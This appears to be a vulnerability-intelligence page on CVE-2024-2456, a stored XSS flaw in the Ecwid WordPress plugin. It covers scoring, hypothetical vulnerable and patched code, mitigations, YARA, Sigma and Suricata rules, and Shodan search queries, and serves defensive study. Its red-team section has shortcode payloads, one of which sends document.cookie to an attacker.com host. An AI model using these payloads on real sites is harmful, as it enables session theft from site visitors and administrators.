☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-2456

CVE-2024-2456 Cross-Site Scripting in Ecwid
📅 PUBLISHED: 2024-04-09 18:59 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.16%
👁️
0.16% probability
4.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-2456 is a Stored Cross-Site Scripting (XSS) vulnerability in the Ecwid Ecommerce Shopping Cart WordPress plugin, affecting all versions up to and including 6.12.10. The flaw resides in insufficient input sanitization and output escaping on user-supplied attributes within the plugin's shortcodes. Authenticated attackers with contributor-level permissions or higher can inject arbitrary web scripts that execute when any user accesses the compromised page. This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx directly.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is a third-party component within the WordPress supply chain, and the lack of a known patch increases supply chain risk for sites using the Ecwid plugin.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (contributor-level or above)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. The vulnerability requires authenticated access but allows persistent script injection, affecting all site visitors.

Deep Dive & Mechanics

The Ecwid plugin registers shortcodes (e.g., [ecwid]) that accept user-supplied attributes. Due to insufficient input sanitization and output escaping, an attacker with contributor-level permissions can craft a shortcode with malicious JavaScript in an attribute. When the shortcode is rendered, the injected script executes in the context of the victim's browser.

Key Details:

  • Attack Vector: WordPress post/page editor (shortcode injection)
  • Privilege Requirement: Contributor or higher (can publish posts)
  • Impact: Stored XSS – script persists in the database and executes on every page load
  • Scope: Cross-site scripting affecting all users, including administrators

Vulnerable vs. Patched Code

Vulnerable Code (<= 6.12.10):

// Example vulnerable shortcode handler
function ecwid_shortcode($atts) {
    $output = '<div class="ecwid" data-attr="' . $atts['attr'] . '">';
    return $output;
}

The $atts['attr'] is not sanitized or escaped, allowing injection of " onclick="alert(1).

Patched Code (Hypothetical):

function ecwid_shortcode($atts) {
    $attr = esc_attr($atts['attr']); // Escape for HTML attribute context
    $output = '<div class="ecwid" data-attr="' . $attr . '">';
    return $output;
}

Proper escaping with esc_attr() prevents XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress site with Ecwid plugin <= 6.12.10
  • Contributor-level account

Exploitation Steps:

  1. Log in as a contributor.
  2. Create a new post or page.
  3. Insert the following shortcode with a malicious attribute:
    [ecwid attr='test" onclick="alert(document.cookie)']
    
  4. Publish the post.
  5. When any user (including admin) views the post, the JavaScript executes.

Alternative Payload:

[ecwid attr='test" onmouseover="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)']

Blue Team

Detection:

  • Monitor for posts/pages containing shortcodes with suspicious attributes (e.g., onclick, onmouseover, javascript:).
  • Use WAF rules to block XSS patterns in shortcode attributes.

Mitigation:

  • Disable the Ecwid plugin until a patch is applied.
  • Restrict contributor permissions to trusted users only.
  • Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/ecwid-shopping-cart/ecwid.php (or similar main plugin file)
  • Database: Posts/pages containing shortcodes with malicious attributes (e.g., onclick, onerror)
  • Network: Outbound requests to attacker-controlled domains from compromised pages
  • Logs: WordPress audit logs showing shortcode modifications by contributor-level users

Detection Engineering

YARA Rule

rule CVE_2024_2456_Ecwid_XSS {
    meta:
        description = "Detects malicious shortcode attributes in Ecwid plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-2456"
    strings:
        $shortcode = /\[ecwid[^\]]*?on\w+\s*=\s*["'][^"']*?["']/ nocase
        $xss_payload = /["']\s*on\w+\s*=\s*["']/ nocase
    condition:
        $shortcode or $xss_payload
}

Sigma Rule

title: CVE-2024-2456 Ecwid Stored XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS via Ecwid shortcode attributes
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: '/wp-admin/post.php'
        http.body|contains: '[ecwid'
        http.body|re: 'on\w+\s*=\s*["\']'
    condition: selection
falsepositives:
    - Legitimate use of event handlers in shortcodes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-2456 Ecwid Stored XSS Attempt"; flow:to_server; content:"[ecwid"; http_client_body; pcre:"/on\w+\s*=\s*[\x22\x27]/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Ecwid plugin until a patched version is released.
  2. Review and remove any posts/pages containing suspicious shortcodes.
  3. Audit user accounts with contributor-level permissions and revoke if unnecessary.

Long-term Fix:

  • Apply the official patch when available (check Ecwid plugin repository).
  • Implement input validation and output escaping for all shortcode attributes.

Workaround:

  • Use a Web Application Firewall (WAF) to block XSS patterns in shortcode attributes.
  • Add the following to .htaccess to restrict shortcode execution:
    <IfModule mod_rewrite.c>
        RewriteEngine On
        RewriteCond %{QUERY_STRING} (on\w+\s*=) [NC]
        RewriteRule .* - [F,L]
    </IfModule>
    

Valters IT – Securing WordPress ecosystems one CVE at a time.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Ecwid Ecommerce Shopping Cart"
http.html:"ecwid-shopping-cart"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-2456/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.